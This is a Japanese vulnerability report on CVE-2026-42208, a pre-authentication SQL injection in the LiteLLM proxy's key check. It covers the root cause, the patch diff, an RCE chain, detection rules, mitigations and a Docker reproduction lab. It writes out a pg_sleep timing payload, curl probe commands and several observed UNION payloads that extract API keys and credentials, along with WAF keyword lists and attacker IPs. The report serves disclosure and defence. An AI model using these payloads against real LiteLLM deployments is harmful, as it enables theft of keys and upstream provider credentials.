CVE-2026-42208
CVE-2026-42208 Vulnerability Report
概要
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| 公開日 | 2026-04-20 (アドバイザリ)、2026-04-25 (GitHub Advisory Database indexed) |
| 最終更新 | 2026-05-08 (CISA KEV追加) |
| CVSS v3.1 | 9.8 (Critical) |
| CVSS v4.0 | 9.3 (Critical) |
| CVSS Vector (v3.1) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS Vector (v4.0) | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-89 (SQL Injection) |
| EPSS | 【情報不足】(VulnCheckで確認要) |
| CISA KEV | ✅ あり (追加日: 2026-05-08、期限: 2026-05-11) |
| 発見者 | Tencent YunDing Security Lab (LiteLLMバグバウンティ経由) |
| 影響製品 | BerriAI LiteLLM (AI Gateway / Proxy Server) |
| プロジェクト規模 | 45,000+ GitHub stars、~97M monthly PyPI downloads |
影響を受けるソフトウェアおよびバージョン
- LiteLLM: バージョン
1.81.16以上1.83.7未満 - CPE:
cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*(versions from 1.81.16 up to excluding 1.83.7) - 修正バージョン:
1.83.7-stable(推奨:1.83.10-stable)
技術詳細
脆弱性の概要
LiteLLM ProxyのAPIキー検証パスにおいて、データベースクエリが呼び出し元が指定したキー値をパラメータバインディングではなくSQLクエリテキストに直接連結している。未認証の攻撃者が細工された Authorization: Bearer ヘッダーを任意のLLM APIルート(例: POST /chat/completions)に送信し、Proxyのエラーハンドリングパスを通じてこの脆弱なクエリに到達することで、データベースからのデータ読み取りや改ざんが可能となる。
根本原因
脆弱性は litellm/proxy/utils.py の PrismaClient.get_data() メソッド内に存在する。table_name="combined_view" かつ query_type="find_unique" で呼び出された際、クエリがPythonのf-stringで構築され、token 変数がパラメータバインディングなしで直接SQLに埋め込まれる:
# ❌ 脆弱な実装 (v1.81.16–v1.83.6)
sql_query = f"""
SELECT
v.*,
t.spend AS team_spend,
...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
...
WHERE v.token = '{token}' ← ここでf-string展開、サニタイズなし
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)
トリガーの分岐ロジック:
_hash_token_if_needed:sk-で始まるトークンのみSHA-256ハッシュ化。それ以外のプレフィックスは生文字列のまま通過。- Path A (Python最適化):
-OまたはPYTHONOPTIMIZE=1で実行時、assert api_key.startswith("sk-")がスキップされ、生の攻撃者コントロール文字列が直接SQLシンクに到達。 - Path B (例外ハンドリング):
AssertionErrorがUserAPIKeyAuthExceptionHandler._handle_authentication_error()で捕捉され、post_call_failure_hook→_enrich_failure_metadata_with_key_info→get_key_object(hashed_token=RAW_TOKEN)→get_data(token=RAW_TOKEN)のチェーンでSQLインジェクションに到達。
💡 コードレビューの洞察:
_enrich_failure_metadata_with_key_info内の変数api_key_hashは誤解を招く命名。実際にはuser_api_key_dict.api_key(生文字列)を保持している。「誤った変数名は脆弱性クラスの驚くほど永続的な原因である」(Bishop Fox)
攻撃フロー
HTTP request: Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL--
→ assert api_key.startswith("sk-") が失敗 (Path B)
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook 発火
→ _enrich_failure_metadata_with_key_info()
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← インジェクションポイント
→ PostgreSQLで pg_sleep(6) 実行 → レスポンスが6秒遅延
トリガー条件
- 必須: PostgreSQL バックエンド(デフォルト構成)
- 必須:
general_settings.disable_error_logs: false(デフォルト) - 必須:
LiteLLM_VerificationTokenテーブルに1行以上のデータ(本番環境では常にtrue) - 必須: Proxyが信頼できないネットワークから到達可能
- 補足:
sk-プレフィックス以外のトークンでトリガー(sk-プレフィックスのトークンはSHA-256ハッシュ化され安全)
RCE連鎖 (CVE-2026-42208 → CVE-2026-42203)
Miggo Securityの調査により、以下の2リクエスト連鎖でRCEが確認されている:
- CVE-2026-42208 (Pre-Auth SQLi): 仮想APIキーを盗む
- CVE-2026-42203 (Authenticated RCE): 盗んだキーで認証済みエンドポイントにアクセス、SSTI経由でコンテナ内RCE
"未認証のインターネット攻撃者が2リクエスト後に、すべてのAPIキー、すべてのプロンプト、すべてのレスポンスを仲介するコンテナ内でコードを実行"
PoC/Exploitの状況
| 項目 | 状況 |
|---|---|
| 公開PoC | ✅ あり (複数リポジトリ) |
| Metasploitモジュール | 【情報不足】(未確認) |
| Exploit成熟度 | in-the-wild (実環境で悪用確認済み) |
| UNIONベース攻撃 | 確認済み (17種類のUNIONペイロード) |
| タイミングベースPoC | 確認済み (pg_sleep) |
| スキャナー | あり (ridhinva/litellm-scanner) |
信頼できるPoCリポジトリ
| リポジトリ | 説明 |
|---|---|
| imjdl/CVE-2026-42208_lab | Docker環境 + タイミングベースBlind SQLi PoC |
| rootdirective-sec/cve-2026-42208-Lab | 脆弱/修正インスタンスの比較ラボ (非破壊) |
| ridhinva/litellm-scanner | LiteLLM SQLi スキャナー |
| Zeltoc/threat-intel-brief-cve-2026-42208-litellm | 脅威インテリジェンスブリーフ |
観測された実際の攻撃ペイロード (Sysdig)
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT credential_values,NULL,NULL,NULL,NULL FROM litellm_credentials--
sk-litellm' UNION SELECT config_value,NULL,NULL,NULL,NULL FROM litellm_config WHERE param_name='environment_variables'--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM "LiteLLM_VerificationToken"-- ← PascalCaseリトライ
sk-litellm' OR 1=1-- ← 自動化ハネスの劣化
実被害・インシデント
✅ 実環境での悪用が確認されている
| 項目 | 詳細 |
|---|---|
| 初攻撃 | 2026-04-26 04:24 UTC (アドバイザリ公開から36時間7分後) |
| 攻撃元IP | 65.111.27.132, 65.111.25.67 (AS200373: 3xK Tech GmbH, Germany) |
| User-Agent | Python/3.12 aiohttp/3.9.1 |
| 攻撃手法 | 17種類のUNIONベースペイロード、プリスマORMのケース知識あり |
| 標的テーブル | LiteLLM_VerificationToken, litellm_credentials, litellm_config |
| CISA KEV | 2026-05-08に追加(連邦機関対応期限: 2026-05-11) |
注目点:
- 攻撃者はLiteLLMのPrisma ORMのケースルールを知っていた(最初は小文字で失敗、その後PascalCase
"LiteLLM_VerificationToken"でリトライ) - スキーマ列挙フェーズ後に
/key/generateや/key/infoの未認証プローブも観測 - IPローテーションでレートリミット回避を試みた
検出方法
ブラックボックステスト
タイミングベース検出(非破壊・推奨)
# 脆弱なホスト: ~6秒、修正済みホスト: <100ms
curl -s -o /dev/null -w "%{time_total}s" \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL--" \
http://<target>/v1/chat/completions
判定基準:
- レスポンス時間が指定秒数 + α → 脆弱
- レスポンス時間が100ms以下 → 修正済み
WAF/ログ検知ルール
Authorization ヘッダーに以下が含まれる場合にアラート:
- 単一引用符 (') を含む Bearer トークン (sk- プレフィックス以外)
- SQLキーワード: UNION, SELECT, FROM, OR, --, pg_sleep, WAITFOR
- "sk-litellm'" パターン
攻撃者IOC
| IOCタイプ | 値 |
|---|---|
| 送信元IP | 65.111.27.132, 65.111.25.67 |
| ASN | AS200373 (3xK Tech GmbH, Germany) |
| User-Agent | Python/3.12 aiohttp/3.9.1 |
| HTTPメソッド | POST /chat/completions (または /v1/chat/completions) |
| リクエストボディ | 空または75バイト |
ホワイトボックステスト
ソースコード脆弱パターン (ripgrep)
# 脆弱なf-string SQLパターンを検索
rg "WHERE.*token\s*=\s*'\{.*\}'" litellm/proxy/
rg "f\"\"\".*WHERE.*token" litellm/proxy/
# PrismaClient.get_dataのf-string使用箇所
rg "_query_first_with_cached_plan_fallback" litellm/proxy/utils.py
バージョン確認
# パッケージバージョン確認
pip show litellm | grep Version
# または
python -c "import litellm; print(litellm.__version__)"
対策
恒久的対策
-
アップデート:
v1.83.10-stable以降にアップグレード(推奨)- 最小:
v1.83.7-stable
pip install litellm==1.83.10-stable # または uv pip install litellm==1.83.10-stable - 最小:
-
侵害の前提: 影響バージョンでインターネットに公開されていたインスタンスは、ログの異常に関わらず侵害されたものとみなす
-
全資格情報のローテーション:
- 仮想APIキー、マスターキー
- 上流プロバイダーのAPIキー(OpenAI、Anthropic、AWS Bedrock等)
- 環境変数、DB接続文字列
-
PostgreSQLクエリ履歴の確認: LiteLLMが提供しているヘルパークエリで侵害の兆候を確認
暫定対策・軽減策
-
設定による回避 (部分的):
general_settings: disable_error_logs: true- ⚠️ Path Bのみを緩和。アサーションがストリップされた環境ではPath A経由で依然として脆弱
-
WAFルール (Miggo Copilot生成):
- Bearerトークンが
sk-で始まらない かつ SQLi構文 (',SELECT,UNION,OR,pg_sleep) を含む場合にブロック - 正常なリクエストには影響しない二重条件チェック
- Bearerトークンが
-
ネットワーク制御:
- AI Gatewayをインターネットに直接公開しない
- 内部ネットワークまたは相互認証付きリバースプロキシに制限
-
モニタリング:
- 上流プロバイダーのログで、不審なIPからの
/chat/completionsトラフィックを監視 - 予期しないIPからのマスターキー使用が最も強い monetization シグナル
- 上流プロバイダーのログで、不審なIPからの
修正パッチ詳細
| 項目 | 内容 |
|---|---|
| 修正コミット | 65401138b5856c095b83cb7f0011cdfc352d30a4 |
| 修正コミットメッセージ | fix: refactor, race condition handle, fstring sql injection |
| 著者 | Harshit Jain (harshitjain0562@gmail.com) |
| 修正日 | 2026-02-03 |
| 変更ファイル数 | 2ファイル |
| 変更行数 | +28行 / -56行 (34行削減) |
変更ファイル
litellm/proxy/utils.py(65行変更: +9 / -56)litellm/proxy/management_endpoints/key_management_endpoints.py(19行変更: +16 / -3)
脆弱なコードスニペット (utils.py)
# ❌ 脆弱な実装 (v1.81.16–v1.83.6)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
...
WHERE v.token = '{token}' ← f-stringで直接埋め込み、パラメータバインディングなし
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)
修正コードスニペット (utils.py)
# ✅ 修正後の実装 (v1.83.7+)
# deprecatedキーのルックアップもPrisma ORMの型付きAPIに置き換え
deprecated_row = await self.db.litellm_deprecatedverificationtoken.find_first(
where={
"token": hashed_token,
"revoke_at": {"gt": datetime.now(timezone.utc)},
},
select={"active_token_id": True},
)
if deprecated_row and deprecated_row.active_token_id:
# combined_viewルックアップもget_data()経由でパラメータバインド
response = await self.get_data(
token=deprecated_row.active_token_id,
table_name="combined_view",
query_type="find_unique",
parent_otel_span=parent_otel_span,
proxy_logging_obj=proxy_logging_obj,
)
key_management_endpoints.py — キーローテーションのレースコンディション修正
# ❌ 修正前: create()でユニーク制約違反のリスク
await prisma_client.db.litellm_deprecatedverificationtoken.create(
data={
"token": hashed_api_key,
"active_token_id": new_token_hash,
"revoke_at": revoke_at,
}
)
# ✅ 修正後: upsert()で同時ローテーションを安全に処理
await prisma_client.db.litellm_deprecatedverificationtoken.upsert(
where={"token": hashed_api_key},
data={
"create": {
"token": hashed_api_key,
"active_token_id": new_token_hash,
"revoke_at": revoke_at,
},
"update": {
"active_token_id": new_token_hash,
"revoke_at": revoke_at,
},
},
)
パッチの分析
- f-string SQLの完全除去:
_query_first_with_cached_plan_fallbackへの直接SQL呼び出しを、Prisma ORMの型付きAPI (find_first,get_data) に置き換え - deprecatedキーのルックアップ改善: 生のf-string SQL →
litellm_deprecatedverificationtoken.find_first() - レースコンディション修正: キーローテーション時に
create()→upsert()に変更し、同時実行時のユニーク制約違反を防止 - スキーママイグレーション不要: アプリケーションレベルの修正のみ
再現環境
Docker Composeによる再現 (rootdirective-sec方式)
# リポジトリのクローン
git clone https://github.com/rootdirective-sec/cve-2026-42208-Lab.git
cd cve-2026-42208-Lab
# 環境起動 (脆弱:8081 / 修正済み:8082)
docker compose up -d
# ヘルスチェック
docker compose ps
# PoC実行 (脆弱インスタンス)
python poc/poc.py --url http://127.0.0.1:8081
# 期待結果: baseline=0.04s, probe=6.04s → LIKELY VULNERABLE
# PoC実行 (修正済みインスタンス)
python poc/poc.py --url http://127.0.0.1:8082
# 期待結果: baseline=0.03s, probe=0.02s → LIKELY PATCHED
# 後片付け
docker compose down -v
Git clone + チェックアウトによる再現
WORKDIR=$(mktemp -d /tmp/vuln-lab-XXXXXX)
cd "$WORKDIR"
git clone --depth 1 https://github.com/BerriAI/litellm.git
cd litellm
# 脆弱バージョンにチェックアウト
git fetch --depth 1 origin v1.83.6-nightly
git checkout v1.83.6-nightly
# 依存関係インストール
uv pip install -e ".[proxy]"
# PostgreSQL起動 + LiteLLM設定
# config.yamlにDB接続情報を設定
# プロキシ起動
litellm --config config.yaml
# 脆弱性確認
curl -s -o /dev/null -w "%{time_total}s" \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NOT NULL--" \
http://localhost:4000/v1/chat/completions
# → 3秒以上の応答で脆弱性確認
戦略的提言
- AIプロキシをシークレットマネージャーとして扱う: IdPレベルの脅威モデリングを適用。分離された最小権限環境で実行し、独立したシークレットストアを使用
- 資格情報のコンパートメント化: プロキシティアでプールするのではなく、ダウンストリームワークロード/モデル/バジェットごとにスコープ
- ローテーションサイクルの短縮: 侵害の疑いとは無関係にキーローテーション間隔を短縮
- 継続的モニタリング: 盗まれた資格情報がプロキシ層の外で使用されていることを示すLLM API使用パターンの異常検知
- ディフェンスの現実: 36時間の悪用ウィンドウは、パッチ/ローテーションが日和見攻撃者の到達速度を上回る必要があることを証明
参考資料
公式情報源
- NVD: CVE-2026-42208
- GitHub Advisory: GHSA-r75f-5x8p-qvmc
- LiteLLM公式セキュリティブログ
- LiteLLM v1.83.10-stable リリースノート
- CISA KEV カタログ
技術分析
- Bishop Fox: CVE-2026-42208 Pre-Auth SQL Injection
- CSA Research Note (PDF)
- Sysdig: Targeted SQL Injection within 36 Hours
- Miggo: RCE Chain (CVE-2026-42208 → CVE-2026-42203)
- The Hacker News
- Tenable
- HivePro Advisory
- Indusface WAAP
PoC/Exploit/ツール
- imjdl/CVE-2026-42208_lab — Docker + timing PoC
- rootdirective-sec/cve-2026-42208-Lab — vuln/patched 比較ラボ
- ridhinva/litellm-scanner — スキャナー
- Zeltoc/threat-intel-brief — 脅威インテリジェンス
修正コミット
65401138b5856c095b83cb7f0011cdfc352d30a4— github.com/BerriAI/litellm/commit/65401138b
変更履歴
| 日付 | 変更内容 |
|---|---|
| 2026-05-25 | 初版作成 — vulnerability-research skill v2.0.0 ワークフロー準拠 |
VulnCheck KEV
- 製品: BerriAI LiteLLM
- CISA KEV 掲載: ✅ あり
- ランサムウェア悪用: Unknown